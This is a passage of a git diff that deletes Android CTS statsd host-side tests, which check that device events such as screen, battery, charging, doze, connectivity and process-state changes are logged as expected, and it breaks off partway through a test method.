-        final int atomTag = Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> screenOnStates = new HashSet<>(
-                Arrays.asList(DisplayStateEnum.DISPLAY_STATE_ON_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_VR_VALUE));
-        Set<Integer> screenOffStates = new HashSet<>(
-                Arrays.asList(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(screenOnStates, screenOffStates);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        turnScreenOn();
-        Thread.sleep(WAIT_TIME_LONG);
-        turnScreenOff();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-        // reset screen to on
-        turnScreenOn();
-        // Restores AoD to initial state.
-        setAodState(aodState);
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
-                atom -> atom.getScreenStateChanged().getState().getNumber());
-    }
-
-    public void testChargingStateChangedAtom() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        // Setup, set charging state to full.
-        setChargingState(5);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.CHARGING_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> batteryUnknownStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_UNKNOWN_VALUE));
-        Set<Integer> batteryChargingStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_CHARGING_VALUE));
-        Set<Integer> batteryDischargingStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_DISCHARGING_VALUE));
-        Set<Integer> batteryNotChargingStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_NOT_CHARGING_VALUE));
-        Set<Integer> batteryFullStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_FULL_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(batteryUnknownStates, batteryChargingStates,
-                batteryDischargingStates, batteryNotChargingStates, batteryFullStates);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        setChargingState(1);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setChargingState(2);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setChargingState(3);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setChargingState(4);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setChargingState(5);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Unfreeze battery state after test
-        resetBatteryStatus();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getChargingStateChanged().getState().getNumber());
-    }
-
-    public void testPluggedStateChangedAtom() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        // Setup, unplug device.
-        unplugDevice();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> unpluggedStates = new HashSet<>(
-                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE));
-        Set<Integer> acStates = new HashSet<>(
-                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE));
-        Set<Integer> usbStates = new HashSet<>(
-                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE));
-        Set<Integer> wirelessStates = new HashSet<>(
-                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(acStates, unpluggedStates, usbStates,
-                unpluggedStates, wirelessStates, unpluggedStates);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        plugInAc();
-        Thread.sleep(WAIT_TIME_SHORT);
-        unplugDevice();
-        Thread.sleep(WAIT_TIME_SHORT);
-        plugInUsb();
-        Thread.sleep(WAIT_TIME_SHORT);
-        unplugDevice();
-        Thread.sleep(WAIT_TIME_SHORT);
-        plugInWireless();
-        Thread.sleep(WAIT_TIME_SHORT);
-        unplugDevice();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Unfreeze battery state after test
-        resetBatteryStatus();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getPluggedStateChanged().getState().getNumber());
-    }
-
-    public void testBatteryLevelChangedAtom() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        // Setup, set battery level to full.
-        setBatteryLevel(100);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.BATTERY_LEVEL_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> batteryLow = new HashSet<>(Arrays.asList(2));
-        Set<Integer> battery25p = new HashSet<>(Arrays.asList(25));
-        Set<Integer> battery50p = new HashSet<>(Arrays.asList(50));
-        Set<Integer> battery75p = new HashSet<>(Arrays.asList(75));
-        Set<Integer> batteryFull = new HashSet<>(Arrays.asList(100));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(batteryLow, battery25p, battery50p,
-                battery75p, batteryFull);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        setBatteryLevel(2);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setBatteryLevel(25);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setBatteryLevel(50);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setBatteryLevel(75);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setBatteryLevel(100);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Unfreeze battery state after test
-        resetBatteryStatus();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getBatteryLevelChanged().getBatteryLevel());
-    }
-
-    public void testDeviceIdleModeStateChangedAtom() throws Exception {
-        // Setup, leave doze mode.
-        leaveDozeMode();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.DEVICE_IDLE_MODE_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> dozeOff = new HashSet<>(
-                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_OFF_VALUE));
-        Set<Integer> dozeLight = new HashSet<>(
-                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_LIGHT_VALUE));
-        Set<Integer> dozeDeep = new HashSet<>(
-                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_DEEP_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(dozeLight, dozeDeep, dozeOff);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        enterDozeModeLight();
-        Thread.sleep(WAIT_TIME_SHORT);
-        enterDozeModeDeep();
-        Thread.sleep(WAIT_TIME_SHORT);
-        leaveDozeMode();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();;
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getDeviceIdleModeStateChanged().getState().getNumber());
-    }
-
-    public void testBatterySaverModeStateChangedAtom() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        // Setup, turn off battery saver.
-        turnBatterySaverOff();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.BATTERY_SAVER_MODE_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> batterySaverOn = new HashSet<>(
-                Arrays.asList(BatterySaverModeStateChanged.State.ON_VALUE));
-        Set<Integer> batterySaverOff = new HashSet<>(
-                Arrays.asList(BatterySaverModeStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(batterySaverOn, batterySaverOff);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        turnBatterySaverOn();
-        Thread.sleep(WAIT_TIME_LONG);
-        turnBatterySaverOff();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
-                atom -> atom.getBatterySaverModeStateChanged().getState().getNumber());
-    }
-
-    @RestrictedBuildTest
-    public void testRemainingBatteryCapacity() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getRemainingBatteryCapacity().hasChargeMicroAmpereHour()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getRemainingBatteryCapacity().getChargeMicroAmpereHour())
-                .isGreaterThan(0);
-        }
-    }
-
-    @RestrictedBuildTest
-    public void testFullBatteryCapacity() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getFullBatteryCapacity().hasCapacityMicroAmpereHour()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getFullBatteryCapacity().getCapacityMicroAmpereHour()).isGreaterThan(0);
-        }
-    }
-
-    public void testBatteryVoltage() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.BATTERY_VOLTAGE_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getBatteryVoltage().hasVoltageMillivolt()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getBatteryVoltage().getVoltageMillivolt()).isGreaterThan(0);
-        }
-    }
-
-    // This test is for the pulled battery level atom.
-    public void testBatteryLevel() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.BATTERY_LEVEL_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getBatteryLevel().hasBatteryLevel()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getBatteryLevel().getBatteryLevel()).isIn(Range.openClosed(0, 100));
-        }
-    }
-
-    // This test is for the pulled battery charge count atom.
-    public void testBatteryCycleCount() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.BATTERY_CYCLE_COUNT_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getBatteryCycleCount().hasCycleCount()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getBatteryCycleCount().getCycleCount()).isAtLeast(0);
-        }
-    }
-
-    public void testKernelWakelock() throws Exception {
-        if (!kernelWakelockStatsExist()) {
-            return;
-        }
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.KERNEL_WAKELOCK_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        for (Atom atom : data) {
-            assertThat(atom.getKernelWakelock().hasName()).isTrue();
-            assertThat(atom.getKernelWakelock().hasCount()).isTrue();
-            assertThat(atom.getKernelWakelock().hasVersion()).isTrue();
-            assertThat(atom.getKernelWakelock().getVersion()).isGreaterThan(0);
-            assertThat(atom.getKernelWakelock().hasTimeMicros()).isTrue();
-        }
-    }
-
-    // Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
-    private boolean kernelWakelockStatsExist() {
-      try {
-        return doesFileExist(WAKE_LOCK_FILE) || doesFileExist(WAKE_SOURCES_FILE);
-      } catch(Exception e) {
-        return false;
-      }
-    }
-
-    public void testWifiActivityInfo() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!checkDeviceFor("checkWifiEnhancedPowerReportingSupported")) return;
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> dataList = getGaugeMetricDataList();
-
-        for (Atom atom: dataList) {
-            assertThat(atom.getWifiActivityInfo().getTimestampMillis()).isGreaterThan(0L);
-            assertThat(atom.getWifiActivityInfo().getStackState()).isAtLeast(0);
-            assertThat(atom.getWifiActivityInfo().getControllerIdleTimeMillis()).isGreaterThan(0L);
-            assertThat(atom.getWifiActivityInfo().getControllerTxTimeMillis()).isAtLeast(0L);
-            assertThat(atom.getWifiActivityInfo().getControllerRxTimeMillis()).isAtLeast(0L);
-            assertThat(atom.getWifiActivityInfo().getControllerEnergyUsed()).isAtLeast(0L);
-        }
-    }
-
-    public void testBuildInformation() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.BUILD_INFORMATION_FIELD_NUMBER, null);
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-        assertThat(data).isNotEmpty();
-        BuildInformation atom = data.get(0).getBuildInformation();
-        assertThat(getProperty("ro.product.brand")).isEqualTo(atom.getBrand());
-        assertThat(getProperty("ro.product.name")).isEqualTo(atom.getProduct());
-        assertThat(getProperty("ro.product.device")).isEqualTo(atom.getDevice());
-        assertThat(getProperty("ro.build.version.release_or_codename")).isEqualTo(atom.getVersionRelease());
-        assertThat(getProperty("ro.build.id")).isEqualTo(atom.getId());
-        assertThat(getProperty("ro.build.version.incremental"))
-            .isEqualTo(atom.getVersionIncremental());
-        assertThat(getProperty("ro.build.type")).isEqualTo(atom.getType());
-        assertThat(getProperty("ro.build.tags")).isEqualTo(atom.getTags());
-    }
-
-    public void testOnDevicePowerMeasurement() throws Exception {
-        if (!OPTIONAL_TESTS_ENABLED) return;
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.ON_DEVICE_POWER_MEASUREMENT_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> dataList = getGaugeMetricDataList();
-
-        for (Atom atom: dataList) {
-            assertThat(atom.getOnDevicePowerMeasurement().getMeasurementTimestampMillis())
-                .isAtLeast(0L);
-            assertThat(atom.getOnDevicePowerMeasurement().getEnergyMicrowattSecs()).isAtLeast(0L);
-        }
-    }
-
-    // Explicitly tests if the adb command to log a breadcrumb is working.
-    public void testBreadcrumbAdb() throws Exception {
-        final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
-        assertThat(atom.getLabel()).isEqualTo(1);
-        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
-    }
-
-    // Test dumpsys stats --proto.
-    public void testDumpsysStats() throws Exception {
-        final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Get the stats incident section.
-        List<ConfigMetricsReportList> listList = getReportsFromStatsDataDumpProto();
-        assertThat(listList).isNotEmpty();
-
-        // Extract the relevent report from the incident section.
-        ConfigMetricsReportList ourList = null;
-        int hostUid = getHostUid();
-        for (ConfigMetricsReportList list : listList) {
-            ConfigMetricsReportList.ConfigKey configKey = list.getConfigKey();
-            if (configKey.getUid() == hostUid && configKey.getId() == CONFIG_ID) {
-                ourList = list;
-                break;
-            }
-        }
-        assertWithMessage(String.format("Could not find list for uid=%d id=%d", hostUid, CONFIG_ID))
-            .that(ourList).isNotNull();
-
-        // Make sure that the report is correct.
-        List<EventMetricData> data = getEventMetricDataList(ourList);
-        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
-        assertThat(atom.getLabel()).isEqualTo(1);
-        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
-    }
-
-    public void testConnectivityStateChange() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-
-        final int atomTag = Atom.CONNECTIVITY_STATE_CHANGED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        turnOnAirplaneMode();
-        // wait long enough for airplane mode events to propagate.
-        Thread.sleep(1_200);
-        turnOffAirplaneMode();
-        // wait long enough for the device to restore connection
-        Thread.sleep(13_000);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        // at least 1 disconnect and 1 connect
-        assertThat(data.size()).isAtLeast(2);
-        boolean foundDisconnectEvent = false;
-        boolean foundConnectEvent = false;
-        for (EventMetricData d : data) {
-            ConnectivityStateChanged atom = d.getAtom().getConnectivityStateChanged();
-            if(atom.getState().getNumber()
-                    == ConnectivityStateChanged.State.DISCONNECTED_VALUE) {
-                foundDisconnectEvent = true;
-            }
-            if(atom.getState().getNumber()
-                    == ConnectivityStateChanged.State.CONNECTED_VALUE) {
-                foundConnectEvent = true;
-            }
-        }
-        assertThat(foundConnectEvent).isTrue();
-        assertThat(foundDisconnectEvent).isTrue();
-    }
-
-    public void testSimSlotState() throws Exception {
-        if (!hasFeature(FEATURE_TELEPHONY, true)) {
-            return;
-        }
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.SIM_SLOT_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-        assertThat(data).isNotEmpty();
-        SimSlotState atom = data.get(0).getSimSlotState();
-        // NOTE: it is possible for devices with telephony support to have no SIM at all
-        assertThat(atom.getActiveSlotCount()).isEqualTo(getActiveSimSlotCount());
-        assertThat(atom.getSimCount()).isAtMost(getActiveSimCountUpperBound());
-        assertThat(atom.getEsimCount()).isAtMost(getActiveEsimCountUpperBound());
-        // Above assertions do no necessarily enforce the following, since some are upper bounds
-        assertThat(atom.getActiveSlotCount()).isAtLeast(atom.getSimCount());
-        assertThat(atom.getSimCount()).isAtLeast(atom.getEsimCount());
-        assertThat(atom.getEsimCount()).isAtLeast(0);
-        // For GSM phones, at least one slot should be active even if there is no card
-        if (hasGsmPhone()) {
-            assertThat(atom.getActiveSlotCount()).isAtLeast(1);
-        }
-    }
-
-    public void testSupportedRadioAccessFamily() throws Exception {
-        if (!hasFeature(FEATURE_TELEPHONY, true)) {
-            return;
-        }
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.SUPPORTED_RADIO_ACCESS_FAMILY_FIELD_NUMBER, null);
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-        assertThat(data).isNotEmpty();
-        SupportedRadioAccessFamily atom = data.get(0).getSupportedRadioAccessFamily();
-        if (hasGsmPhone()) {
-            assertThat(atom.getNetworkTypeBitmask() & NETWORK_TYPE_BITMASK_GSM_ALL)
-                    .isNotEqualTo(0L);
-        }
-        if (hasCdmaPhone()) {
-            assertThat(atom.getNetworkTypeBitmask() & NETWORK_TYPE_BITMASK_CDMA_ALL)
-                    .isNotEqualTo(0L);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
deleted file mode 100644
index 230a516..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
+++ /dev/null
@@ -1,247 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Statsd atom tests that are done via app, for atoms that report a uid.
- */
-public class ProcStateAtomTests extends ProcStateTestCase {
-
-    private static final String TAG = "Statsd.ProcStateAtomTests";
-
-    private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
-    // ActivityManager can take a while to register screen state changes, mandating an extra delay.
-    private static final int WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS = 1_000;
-    private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when proc state changing.
-    private static final int STATSD_REPORT_WAIT_TIME_MS = 500; // make sure statsd finishes log.
-
-    private static final String FEATURE_WATCH = "android.hardware.type.watch";
-
-    // The tests here are using the BatteryStats definition of 'background'.
-    private static final Set<Integer> BG_STATES = new HashSet<>(
-            Arrays.asList(
-                    ProcessStateEnum.PROCESS_STATE_IMPORTANT_BACKGROUND_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_TRANSIENT_BACKGROUND_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_BACKUP_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_SERVICE_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_RECEIVER_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_HEAVY_WEIGHT_VALUE
-            ));
-
-    // Using the BatteryStats definition of 'cached', which is why HOME (etc) are considered cached.
-    private static final Set<Integer> CACHED_STATES = new HashSet<>(
-            Arrays.asList(
-                    ProcessStateEnum.PROCESS_STATE_HOME_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_LAST_ACTIVITY_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_CACHED_ACTIVITY_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_CACHED_ACTIVITY_CLIENT_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_CACHED_RECENT_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_CACHED_EMPTY_VALUE
-            ));
-
-    private static final Set<Integer> MISC_STATES = new HashSet<>(
-            Arrays.asList(
-                    ProcessStateEnum.PROCESS_STATE_PERSISTENT_VALUE, // TODO: untested
-                    ProcessStateEnum.PROCESS_STATE_PERSISTENT_UI_VALUE, // TODO: untested
-                    ProcessStateEnum.PROCESS_STATE_TOP_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_BOUND_TOP_VALUE, // TODO: untested
-                    ProcessStateEnum.PROCESS_STATE_BOUND_FOREGROUND_SERVICE_VALUE, // TODO: untested
-                    ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE,
-
-                    ProcessStateEnum.PROCESS_STATE_UNKNOWN_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_NONEXISTENT_VALUE
-            ));
-
-    private static final Set<Integer> ALL_STATES = Stream.of(MISC_STATES, CACHED_STATES, BG_STATES)
-            .flatMap(s -> s.stream()).collect(Collectors.toSet());
-
-    private static final Function<Atom, Integer> PROC_STATE_FUNCTION =
-            atom -> atom.getUidProcessStateChanged().getState().getNumber();
-
-    private static final int PROC_STATE_ATOM_TAG = Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    public void testForegroundService() throws Exception {
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE));
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: does not use attribution.
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
-
-        executeForegroundService();
-        final int waitTime = SLEEP_OF_FOREGROUND_SERVICE;
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out initial proc states.
-        assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
-    }
-
-    public void testForeground() throws Exception {
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE));
-        // There are no offStates, since the app remains in foreground until killed.
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: does not use attribution.
-
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS);
-
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
